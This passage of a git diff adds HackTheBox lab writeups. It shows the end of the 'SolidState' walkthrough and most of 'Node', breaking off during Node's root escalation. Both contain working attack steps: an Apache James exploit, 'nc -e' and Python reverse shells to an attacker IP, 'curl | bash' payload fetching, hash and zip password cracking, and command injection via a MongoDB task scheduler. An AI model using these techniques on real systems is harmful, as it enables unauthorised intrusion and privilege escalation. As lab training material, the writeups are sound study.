----------------------------------------------------- ------------------------------- + Shellcodes: No Result + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/SolidState] + → locate 35513.py + /usr/share/exploitdb/exploits/linux/remote/35513.py + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/SolidState] + → cp /usr/share/exploitdb/exploits/linux/remote/35513.py . + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/SolidState] + → nano 35513.py + + +Now we modify the exploit accordingly : + +![](prg/12_005.png) _Terminal 1:_ + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/SolidState] + → python 35513.py 10.10.10.51 + [+]Connecting to James Remote Administration Tool... + [+]Creating user... + [+]Connecting to James SMTP server... + [+]Sending payload... + [+]Done! Payload will be executed once somebody logs in. + + + +` _Terminal 2:_ + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/SolidState] + → nc -lvnp 9002 + listening on [any] 9002 ... + + + +Now to execute the payload (which is a reverse shell connection on our port 9002) we need to ssh into the machine. + +_Terminal 1:_ + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/SolidState] + → ssh mindy@10.10.10.51 + mindy@10.10.10.51's password: + + +` _Terminal 2:_ + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/SolidState] + → nc -lvnp 9002 + listening on [any] 9002 ... + connect to [10.10.14.11] from (UNKNOWN) [10.10.10.51] 39142 + id + uid=1001(mindy) gid=1001(mindy) groups=1001(mindy) + which python + /usr/bin/python + python 'import pty;pty.spawn("/bin/bash")' + ls + bin + user.txt + + +And we get an unrestricted shell ! now let's see which files may allow us to effectively privesc this box : + + + find / -user root -perm -002 -type f -not -path "/proc/*" 2>/dev/null + /opt/tmp.py + /sys/fs/cgroup/memory/cgroup.event_control + + ls -lash /opt/tmp.py + 4.0K -rwxrwxrwx 1 root root 105 Aug 22 2017 /opt/tmp.py + + cat /opt/tmp.py + #!/usr/bin/env python + import os + import sys + try: + os.system('rm -r /tmp/* ') + except: + sys.exit() + + nano /opt/tmp.py + + +And we have a python script that has the 777 permissions ! This is a serious security issue as we're going to demonstrate : + + + λ nihilist [ 10.10.14.11/23 ] [~] + → cd _HTB/SolidState + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/SolidState] + → nano tmp.py + + + + #!/usr/bin/env python + import os + import sys + try: + os.system('/bin/nc -e /bin/bash 10.10.14.11 9003') + except: + sys.exit() + + +now with this infected python script we make the machine download it in it's /tmp directory : + +_Terminal 1:_ + + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/SolidState] + → python -m SimpleHTTPServer 8080 + Serving HTTP on 0.0.0.0 port 8080 ... + + + +` _Terminal 2:_ + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/SolidState] + → nc -lvnp 9003 + + +` _Terminal 3:_ + + + cd /tmp + + pwd + /tmp + + which wget + /usr/bin/wget + + wget http://10.10.14.11:8080/tmp.py + + ls + tmp.py + + cp tmp.py /opt/tmp.py + + ls -lash /opt + total 16K + 4.0K drwxr-xr-x 3 root root 4.0K Aug 22 2017 . + 4.0K drwxr-xr-x 22 root root 4.0K Jun 18 2017 .. + 4.0K drwxr-xr-x 11 root root 4.0K Aug 22 2017 james-2.3.2 + 4.0K -rwxrwxrwx 1 root root 128 Mar 3 14:07 tmp.py + + +Now we wait a bit and we should catch the incoming reverse shell connection on our 9003 port once the cronjob executes the python script as the root user. + +_Terminal 2:_ + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/SolidState] + → nc -lvnp 9003 + listening on [any] 9003 ... + connect to [10.10.14.11] from (UNKNOWN) [10.10.10.51] 47682 + + id + uid=0(root) gid=0(root) groups=0(root) + + cat /root/root.txt + b4XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it ! we recieved our reverse shell connection as root and we have been able to print out the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/12_graph.png) + diff --git a/Medium/13.md b/Medium/13.md new file mode 100644 index 0000000..94e50ed --- /dev/null +++ b/Medium/13.md @@ -0,0 +1,921 @@ +# Node Writeup + +![](img/13.png) + +## Introduction : + +Node is a medium linux box released back in October 2017. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + λ nihilist [ 10.10.14.11/23 ] [~] + → nmap -F 10.10.10.58 -Pn + Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-03 20:32 GMT + Nmap scan report for 10.10.10.58 + Host is up (0.11s latency). + Not shown: 98 filtered ports + PORT STATE SERVICE + 22/tcp open ssh + 3000/tcp open ppp + + Nmap done: 1 IP address (1 host up) scanned in 5.26 seconds + + λ nihilist [ 10.10.14.11/23 ] [~] + → nmap 10.10.10.58 -sCV -p22,3000 -Pn + Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-03 20:33 GMT + Nmap scan report for 10.10.10.58 + Host is up (0.10s latency). + + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) + | ssh-hostkey: + | 2048 dc:5e:34:a6:25:db:43:ec:eb:40:f4:96:7b:8e:d1:da (RSA) + | 256 6c:8e:5e:5f:4f:d5:41:7d:18:95:d1:dc:2e:3f:e5:9c (ECDSA) + |_ 256 d8:78:b8:5d:85:ff:ad:7b:e6:e2:b5:da:1e:52:62:36 (ED25519) + 3000/tcp open hadoop-datanode Apache Hadoop + | hadoop-datanode-info: + |_ Logs: /login + | hadoop-tasktracker-info: + |_ Logs: /login + |_http-title: MyPlace + Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 16.12 seconds + + + +## **Part 2 : Getting User Access** + +Our nmap port picked up a http service running on port 80, so let's try to investigate it with dirsearch/gobuster : + + + λ nihilist [ 10.10.14.11/23 ] [~] + → dirsearch -u http://10.10.10.51:3000/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 50 -e php,txt,html -x 200 + git clone https://github.com/maurosoria/dirsearch.git + dirsearch -u -e -t 50 -x 500 + + _|. _ _ _ _ _ _|_ v0.3.9 + (_||| _) (/_(_|| (_| ) + + Extensions: php, txt, html | HTTP method: get | Threads: 50 | Wordlist size: 87646 + + Error Log: /home/nihilist/Desktop/Tools/dirsearch/logs/errors-20-03-03_20-40-22.log + + Target: http://10.10.10.51:3000/ + + CONNECTION TIMEOUT: There was a problem in the request to: + + Task Completed + + λ nihilist [ 10.10.14.11/23 ] [~] + → gobuster dir --url http://10.10.10.58:3000/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 50 + =============================================================== + Gobuster v3.0.1 + by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) + =============================================================== + [+] Url: http://10.10.10.58:3000/ + [+] Threads: 50 + [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt + [+] Status codes: 200,204,301,302,307,401,403 + [+] User Agent: gobuster/3.0.1 + [+] Timeout: 10s + =============================================================== + 2020/03/03 20:41:03 Starting gobuster + =============================================================== + Error: the server returns a status code that matches the provided options for non existing urls. http://10.10.10.58:3000/faa34154-d721-4655-ac39-9224e8387b5c => 200. To force processing of Wildcard responses, specify the '--wildcard' switch + + +Right away we can see that this box may not be as easy as we think, because bruteforcing files on the website on port 3000 returns the same response (status 200) which basically means that we have nonexistant pages. + +![](prg/13_001.png) + +SQL Injection doesn't seem to work here, but nonetheless pressing F12 > Debugger > we see that an angular JS script named profile.js is being used in assets/js/app/controllers/ + +![](prg/13_002.png) + +Being hinted towards /api/users/ we investigate : + +![](prg/13_003.png) + +And we get a few usernames along with their hashes which can be easily identified with hash-identifier : + + + λ nihilist [ 10.10.14.11/23 ] [~] + → hash-identifier + ######################################################################### + # __ __ __ ______ _____ # + # /\ \/\ \ /\ \ /\__ _\ /\ _ `\ # + # \ \ \_\ \ __ ____ \ \ \___ \/_/\ \/ \ \ \/\ \ # + # \ \ _ \ /'__`\ / ,__\ \ \ _ `\ \ \ \ \ \ \ \ \ # + # \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \ \_\ \__ \ \ \_\ \ # + # \ \_\ \_\ \___ \_\/\____/ \ \_\ \_\ /\_____\ \ \____/ # + # \/_/\/_/\/__/\/_/\/___/ \/_/\/_/ \/_____/ \/___/ v1.2 # + # By Zion3R # + # www.Blackploit.com # + # Root@Blackploit.com # + ######################################################################### + -------------------------------------------------- + HASH: dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af + + Possible Hashs: + [+] SHA-256 + [+] Haval-256 + + Least Possible Hashs: + [+] GOST R 34.11-94 + [+] RipeMD-256 + [+] SNEFRU-256 + [+] SHA-256(HMAC) + [+] Haval-256(HMAC) + [+] RipeMD-256(HMAC) + [+] SNEFRU-256(HMAC) + [+] SHA-256(md5($pass)) + [+] SHA-256(sha1($pass)) + -------------------------------------------------- + + +So let's use hashcat to crack them with rockyou.txt, with the correct SHA-256 algorithm : + + + λ nihilist [ 10.10.14.11/23 ] [~] + → hashcat -m 1400 -a 0 hashes /usr/share/wordlists/rockyou.txt + hashcat (v3.5.0) starting... + + Dictionary cache hit: + * Filename..: rockyou.txt + * Passwords.: 14343296 + * Bytes.....: 139921497 + * Keyspace..: 14343296 + + f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240:spongebob + de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73:snowflake + dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af:manchester + + +And we get a list of credentals for us to use : + + + myP14ceAdm1nAcc0uNT manchester + tom spongebob + mark snowflake + + +So we login as the admin account, and download the myplace.backup file for us to inspect it further : + + + λ nihilist [ 10.10.14.11/23 ] [~] + → cd _HTB + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB] + → mkdir Node + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB] + → cd Node + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] + → cp /home/nihilist/Downloads/myplace.backup . + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] + → file myplace.backup + myplace.backup: ASCII text, with very long lines, with no line terminators + + +so we have some ascii text, but upon opening it we see that it may look like base64 so let's decode it : + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] + → cat myplace.backup | base64 -d > myplace + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] + → file myplace + myplace: Zip archive data, at least v1.0 to extract + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] + → unzip myplace + Archive: myplace + creating: var/www/myplace/ + [myplace] var/www/myplace/package-lock.json password: + password incorrect--reenter: + password incorrect--reenter: + skipping: var/www/myplace/package-lock.json incorrect password + creating: var/www/myplace/node_modules/ + creating: var/www/myplace/node_modules/serve-static/ + [myplace] var/www/myplace/node_modules/serve-static/README.md password: + password incorrect--reenter: + + +And we get a zip archive ! although when we try to unzip it we need to give it a password , and our previous three passwords aren't working here. so let's use fcrackzip and rockyou.txt to try and guess the password : + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] + → fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt backup + + PASSWORD FOUND!!!!: pw == magicword + + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] + → unzip myplace + Archive: myplace + [myplace] var/www/myplace/package-lock.json password: + + +So we unzip it and we have a bunch of files to work with, most notably /var/www/myplace/app.js : + +![](prg/13_005.png) + +Which reveals mark's password : 5AYRft73VtFpc84k so let's ssh as mark : + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] + → ssh mark@10.10.10.58 + The authenticity of host '10.10.10.58 (10.10.10.58)' can't be established. + ECDSA key fingerprint is SHA256:I0Y7EMtrkyc9Z/92jdhXQen2Y8Lar/oqcDNLHn28Hbs. + Are you sure you want to continue connecting (yes/no/[fingerprint])? yes + Warning: Permanently added '10.10.10.58' (ECDSA) to the list of known hosts. + mark@10.10.10.58's password: + + The programs included with the Ubuntu system are free software; + the exact distribution terms for each program are described in the + individual files in /usr/share/doc/*/copyright. + + Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by + applicable law. + .-. + .-'``(|||) + ,`\ \ `-`. 88 88 + / \ '``-. ` 88 88 + .-. , `___: 88 88 88,888, 88 88 ,88888, 88888 88 88 + (:::) : ___ 88 88 88 88 88 88 88 88 88 88 88 + `-` ` , : 88 88 88 88 88 88 88 88 88 88 88 + \ / ,..-` , 88 88 88 88 88 88 88 88 88 88 88 + `./ / .-.` '88888' '88888' '88888' 88 88 '8888 '88888' + `-..-( ) + `-` + The programs included with the Ubuntu system are free software; + the exact distribution terms for each program are described in the + individual files in /usr/share/doc/*/copyright. + + Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by + applicable law. + + Last login: Wed Sep 27 02:33:14 2017 from 10.10.14.3 + + mark@node:~$ id + uid=1001(mark) gid=1001(mark) groups=1001(mark) + + mark@node:~$ cat /home + cat: /home: Is a directory + + mark@node:~$ ls /home + frank mark tom + + mark@node:~$ cat /home/mark/user.txt + cat: /home/mark/user.txt: No such file or directory + mark@node:~$ cat /home/frank/user.txt + cat: /home/frank/user.txt: No such file or directory + mark@node:~$ cat /home/tom/user.txt + cat: /home/tom/user.txt: Permission denied + + + +As you can see here, we are logged in as mark and we have 3 users to work with : frank, mark and tom. although we need to gain tom's privileges to be able to print the flag. so let's list tom's running processes : + + + mark@node:~$ ps -ef | grep tom + tom 1211 1 0 Mar03 ? 00:00:12 /usr/bin/node /var/www/myplace/app.js + tom 1221 1 0 Mar03 ? 00:00:07 /usr/bin/node /var/scheduler/app.js + mark 1600 1579 0 06:01 pts/0 00:00:00 grep --color=auto tom + + +So let's investigate /var/scheduler/app.js : + + + mark@node:~$ cd /var/scheduler + mark@node:/var/scheduler$ cat app.js + const exec = require('child_process').exec; + const MongoClient = require('mongodb').MongoClient; + const ObjectID = require('mongodb').ObjectID; + const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler?authMechanism=DEFAULT&authSource;=scheduler'; + + MongoClient.connect(url, function(error, db) { + if (error || !db) { + console.log('[!] Failed to connect to mongodb'); + return; + } + + setInterval(function () { + db.collection('tasks').find().toArray(function (error, docs) { + if (!error && docs) { + docs.forEach(function (doc) { + if (doc) { + console.log('Executing task ' + doc._id + '...'); + exec(doc.cmd); + db.collection('tasks').deleteOne({ _id: new ObjectID(doc._id) }); + } + }); + } + else if (error) { + console.log('Something went wrong: ' + error); + } + }); + }, 30000); + + }); + + +And here we see the connection to the scheduler database, but what's ineresting is the setInterval function which will basically execute anything under the cmd value before deleting the doc from the collection. So let's log into the scheduler database as the user mark : + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] + → nano nihilist.sh + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] + → cat nihilist.sh + #!/bin/bash python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.11",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] + → python -m SimpleHTTPServer 8080 + Serving HTTP on 0.0.0.0 port 8080 ... + + + + + mark@node:/tmp$ wget 10.10.14.11:8080/nihilist.sh && chmod +x nihilist.sh + --2020-03-04 06:13:22-- http://10.10.14.11:8080/nihilist.sh + Connecting to 10.10.14.11:8080... connected. + HTTP request sent, awaiting response... 200 OK + Length: 240 [text/x-sh] + Saving to: ‘nihilist.sh’ + + nihilist.sh 100%[===============================================>] 240 --.-KB/s in 0s + + 2020-03-04 06:13:23 (18.6 MB/s) - ‘nihilist.sh’ saved [240/240] + + + + + mark@node:/tmp$ mongo -u mark -p 5AYRft73VtFpc84k localhost:27017/scheduler + MongoDB shell version: 3.2.16 + connecting to: localhost:27017/scheduler + > db.tasks.insert({"_id" : ObjectId("50e28180497eade7db1b7a5b"), "cmd" : "/tmp/nihilist.sh"}) + WriteResult({ "nInserted" : 1 }) + > db.tasks.find() + + + +And here we basically copy the /bin/dash binary into the /tmp folder in order to have an executable shell owned by the user tom. + + + mark@node:~$ mongo -p -u mark scheduler + MongoDB shell version: 3.2.16 + Enter password: + connecting to: scheduler + > db.tasks.insert( { "cmd" : "cp /bin/dash /tmp/nihilist; chmod 6755 /bin/dash;" }) + WriteResult({ "nInserted" : 1 }) + > db.tasks.find() + { "_id" : ObjectId("5e5fb1764ae843faaa36fbcc"), "cmd" : "cp /bin/dash /tmp/nihilist; chmod 6755 /bin/dash;" } + > db.tasks.find() + > exit + bye + mark@node:~$ ls -lash /tmp/nihilist + 152K -rwxr-xr-x 1 tom tom 151K Mar 4 13:48 /tmp/nihilist + mark@node:~$ + mark@node:~$ ls -lash /tmp/nihilist + 152K -rwxr-xr-x 1 tom tom 151K Mar 4 13:48 /tmp/nihilist + mark@node:~$ /tmp/nihilist -p + $ id + uid=1001(mark) gid=1001(mark) groups=1001(mark) + $ exit + mark@node:~$ mongo -p -u mark scheduler + MongoDB shell version: 3.2.16 + Enter password: + connecting to: scheduler + > db.tasks.insert( { "cmd" : "chmod u+s /tmp/nihilist" } ) + WriteResult({ "nInserted" : 1 }) + > db.tasks.find() + { "_id" : ObjectId("5e5fb336d83b43a3456459a9"), "cmd" : "chmod u+s /tmp/nihilist" } + > db.tasks.find() + { "_id" : ObjectId("5e5fb336d83b43a3456459a9"), "cmd" : "chmod u+s /tmp/nihilist" } + > db.tasks.find() + { "_id" : ObjectId("5e5fb336d83b43a3456459a9"), "cmd" : "chmod u+s /tmp/nihilist" } + > db.tasks.find() + { "_id" : ObjectId("5e5fb336d83b43a3456459a9"), "cmd" : "chmod u+s /tmp/nihilist" } + > db.tasks.find() + > exit + bye + mark@node:~$ /tmp/nihilist -p + $ id + uid=1001(mark) gid=1001(mark) euid=1000(tom) groups=1001(mark) + $ whoami + tom + + + +and here we can see that we have the binary named nihilist, owned by the user tom, therefore running it with the -p flag allows us to have tom's permissions. so let's print the user flag : + + + mark@node:~$ /tmp/nihilist -p + $ id + uid=1001(mark) gid=1001(mark) euid=1000(tom) groups=1001(mark) + $ cat /home/tom/user.txt + cat: /home/tom/user.txt: Permission denied + $ whoami + tom + + $ cd /home/tom + $ mkdir .ssh + mkdir: cannot create directory ‘.ssh’: Permission denied + + $ cd .. + $ ls -lash + total 20K + 4.0K drwxr-xr-x 5 root root 4.0K Aug 31 2017 . + 4.0K drwxr-xr-x 25 root root 4.0K Sep 2 2017 .. + 4.0K drwxr-xr-x 2 root root 4.0K Aug 31 2017 frank + 4.0K drwxr-xr-x 3 root root 4.0K Sep 3 2017 mark + 4.0K drwxr-xr-x 6 root root 4.0K Sep 3 2017 tom + + + +Now when we try to somehow edit something in any of the 3 user's directories we cannot , that's because they are owned by root, so let's move onto the root privesc : + +## **Part 3 : Getting Root Access** + +In order to privesc to the root user, we need to first enumerate the box using LinEnum.sh + +_Terminal 1:_ + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] + → locate LinEnum.sh + /home/nihilist/_HTB/Cronos/LinEnum.sh + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] + → cp /home/nihilist/_HTB/Cronos/LinEnum.sh . + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] + → python -m SimpleHTTPServer 8081 + Serving HTTP on 0.0.0.0 port 8081 ... + + +` _Terminal 2:_ + + + $ which curl + /usr/bin/curl + $ curl http://10.10.14.11:8081/LinEnum.sh | bash + + +Not going to paste all the output of LinEnum.sh but we'll get to the interesting part: + + + $ find / -perm -4000 2>/dev/null + /usr/lib/eject/dmcrypt-get-device + /usr/lib/snapd/snap-confine + /usr/lib/dbus-1.0/dbus-daemon-launch-helper + /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic + /usr/lib/openssh/ssh-keysign + /usr/lib/policykit-1/polkit-agent-helper-1 + /usr/local/bin/backup + /usr/bin/chfn + /usr/bin/at + /usr/bin/gpasswd + /usr/bin/newgidmap + /usr/bin/chsh + /usr/bin/sudo + /usr/bin/pkexec + /usr/bin/newgrp + /usr/bin/passwd + /usr/bin/newuidmap + /tmp/nihilist + /bin/ping + /bin/umount + /bin/fusermount + /bin/ping6 + /bin/ntfs-3g + /bin/su + /bin/mount + + $ cd /var + $ ls + backups cache crash lib local lock log mail opt run scheduler snap spool tmp www + $ cd www/myplace + $ ls + app.html app.js node_modules package.json package-lock.json static + $ grep -Ri backup . + ./app.js:const backup_key = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474'; + ./app.js: app.get('/api/admin/backup', function (req, res) { + ./app.js: var proc = spawn('/usr/local/bin/backup', ['-q', backup_key, __dirname ]); + ./app.js: var backup = ''; + ./app.js: res.header("Content-Disposition", "attachment; filename=myplace.backup"); + ./app.js: res.send(backup); + ./app.js: backup += chunk; + ./static/vendor/jquery/jquery.js: contextBackup = outermostContext, + ./static/vendor/jquery/jquery.js: dirrunsUnique = (dirruns += contextBackup == null ? 1 : Math.random() || 0.1), + ./static/vendor/jquery/jquery.js: outermostContext = contextBackup; + ./static/assets/js/app/controllers/admin.js: $scope.backup = function () { + ./static/assets/js/app/controllers/admin.js: $window.open('/api/admin/backup', '_self'); + ./static/partials/admin.html: Download Backup + + + +So we do have a few binaries for us to use with the SetUID flags for us to use, most notably the /usr/local/bin/backup that once we grep -Ri we know how it works, but still we have other things to do. but we there is something else we can still do with the mongodb cmd exploit in order to change the permissions of our nihilist binary. + + + mark@node:~$ mongo -p -u mark scheduler + MongoDB shell version: 3.2.16 + Enter password: + connecting to: scheduler + > db.tasks.insert( { "cmd" :"chown tom:admin /tmp/nihilist; chmod 6755 /tmp/nihilist;"}) + WriteResult({ "nInserted" : 1 }) + > db.tasks.find() + > exit + bye + mark@node:~$ ls -la /tmp/nihilist + -rwsr-sr-x 1 tom admin 154072 Mar 4 13:48 /tmp/nihilist + + +And here we execute the nihilist binary to be part of the admin group. + + + mark@node:~$ /tmp/nihilist -p + $ id + uid=1001(mark) gid=1001(mark) euid=1000(tom) egid=1002(admin) groups=1002(admin),1001(mark) + $ cat /home/tom/user.txt + cat: /home/tom/user.txt: Permission denied + + +However as you can see, this is not enough and we still need to escalate more privileges. now before our find command found the /usr/local/bin/backup binary so let's copy it locally on our machine to inspect it : + +_Terminal 1:_ + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] + → nc -lvnp 8081 > backup + listening on [any] 8081 ... + + +` _Terminal 2_ + + + $ nc 10.10.14.11 8081 < /usr/local/bin/backup + + +` _Terminal 1_ + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] + → nc -lvnp 8081 > backup + listening on [any] 8081 ... + connect to [10.10.14.11] from (UNKNOWN) [10.10.10.58] 36276 + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] + → file backup + backup: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=343cf2d93fb2905848a42007439494a2b4984369, not stripped + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] + → chmod +x backup + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] + → ./backup + + +once given the permissions to execute backup, we get nothing, so let's examine it using radare2 : + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] + → r2 backup + [0x08048780]> aaa + [x] Analyze all flags starting with sym. and entry0 (aa) + [x] Analyze function calls (aac) + [x] Analyze len bytes of instructions for references (aar) + [x] Check for objc references + [x] Check for vtables + [x] Type matching analysis for all functions (aaft) + [x] Propagate noreturn information + [x] Use -AA or aaaa to perform additional experimental analysis. + [0x08048780]> afl + [0x08048780]> vvv + + +let's analyse the assembly (aaa) then print out the function list (afl) and then having visual representation (vvv) once we hit spacebar to have a good representating graph of what the binary does : + +![](prg/13_006.png) + +from here, we see that the binary's main function checks for the number of arguements equal to 3 and if it returns false, it jumps to the block on the left to exit altogether. which is probably what we're seeing. + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] + → ./backup 1 2 3 + + + + ____________________________________________________ + / \ + | _____________________________________________ | + | | | | + | | | | + | | | | + | | | | + | | | | + | | | | + | | Secure Backup v1.0 | | + | | | | + | | | | + | | | | + | | | | + | | | | + | | | | + | |_____________________________________________| | + | | + \_____________________________________________________/ + \_______________________________________/ + _______________________________________________ + _-' .-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-. --- `-_ + _-'.-.-. .---.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.--. .-.-.`-_ + _-'.-.-.-. .---.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-`__`. .-.-.-.`-_ + _-'.-.-.-.-. .-----.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-----. .-.-.-.-.`-_ + _-'.-.-.-.-.-. .---.-. .-----------------------------. .-.---. .---.-.-.-.`-_ + :-----------------------------------------------------------------------------: + `---._.-----------------------------------------------------------------._.---' + + + [!] Could not open file + + + +So once we give it 3 arguements it finally prints out something, so let's run strace as we originally intended, but this time using 3 arguements : + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] + → strace ./backup 1 2 3 + + [...] + + openat(AT_FDCWD, "/etc/myplace/keys", O_RDONLY) = -1 ENOENT (No such file or directory) + write(1, " \33[33m[!]\33[37m Could not open fi"..., 36 [!] Could not open file + + ) = 36 + write(1, "\n", 1 + ) = 1 + exit_group(1) = ? + +++ exited with 1 +++ + + + +And here we see that it's trying to read something in /etc/myplace/keys so let's check it on our box : + + + $ id + uid=1001(mark) gid=1001(mark) euid=1000(tom) egid=1002(admin) groups=1002(admin),1001(mark) + $ cd /etc/myplace + $ cat keys + a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508 + **45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474** + 3de811f4ab2b7543eaf45df611c2dd2541a5fc5af601772638b81dce6852d110 + + + +and we get 3 hashes ! and if you look closely, here we have one of the keys we found with our previous recursive grep -Ri command. so let's copy it locally and see what the binary tries to do once we have this /etc/myplace/keys file in place. + + + λ root [ 10.10.14.11/23 ] [nihilist/_HTB/Node] + → mkdir /etc/myplace + + λ root [ 10.10.14.11/23 ] [nihilist/_HTB/Node] + → nano /etc/myplace/keys + + + +Now that it's in place, let's try to execute the backup with that one particular key we found again on the /root directory : + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] + → ./backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /root + [+] Finished! Encoded backup is below: + + UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH/hu0fArpSvYauq4AUycRmLuWvPyJk3sF+HmNMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK/oan4wWPabhw/2rwaaJSXucU+pLgZorY67Q/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE/ZiS1S+rPgz/e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe/BXhPQBJab7NVF6Xm3207EfD3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1Tq2o6BvWJlhtWdts7rCubeoZPDBD6Mejp3XYkbSYYbzmgr1poNqnzT5XPiXnPwVqH1fG8OSO56xAvxx2mU2EP+Yhgo4OAghyW1sgV8FxenV8p5c+u9bTBTz/7WlQDI0HUsFAOHnWBTYR4HTvyi8OPZXKmwsPAG1hrlcrNDqPrpsmxxmVR8xSRbBDLSrH14pXYKPY/a4AZKO/GtVMULlrpbpIFqZ98zwmROFstmPl/cITNYWBlLtJ5AmsyCxBybfLxHdJKHMsK6Rp4MO+wXrd/EZNxM8lnW6XNOVgnFHMBsxJkqsYIWlO0MMyU9L1CL2RRwm2QvbdD8PLWA/jp1fuYUdWxvQWt7NjmXo7crC1dA0BDPg5pVNxTrOc6lADp7xvGK/kP4F0eR+53a4dSL0b6xFnbL7WwRpcF+Ate/Ut22WlFrg9A8gqBC8Ub1SnBU2b93ElbG9SFzno5TFmzXk3onbLaaEVZl9AKPA3sGEXZvVP+jueADQsokjJQwnzg1BRGFmqWbR6hxPagTVXBbQ+hytQdd26PCuhmRUyNjEIBFx/XqkSOfAhLI9+Oe4FH3hYqb1W6xfZcLhpBs4Vwh7t2WGrEnUm2/F+X/OD+s9xeYniyUrBTEaOWKEv2NOUZudU6X2VOTX6QbHJryLdSU9XLHB+nEGeq+sdtifdUGeFLct+Ee2pgR/AsSexKmzW09cx865KuxKnR3yoC6roUBb30Ijm5vQuzg/RM71P5ldpCK70RemYniiNeluBfHwQLOxkDn/8MN0CEBr1eFzkCNdblNBVA7b9m7GjoEhQXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmPaFkYgxK2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnictzNXUKzT905OFOcJwt7FbxyXk0z3FxD/tgtUHcFBLAQI/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBwACAEFFAQgAUEsFBgAAAAABAAEAQQAAA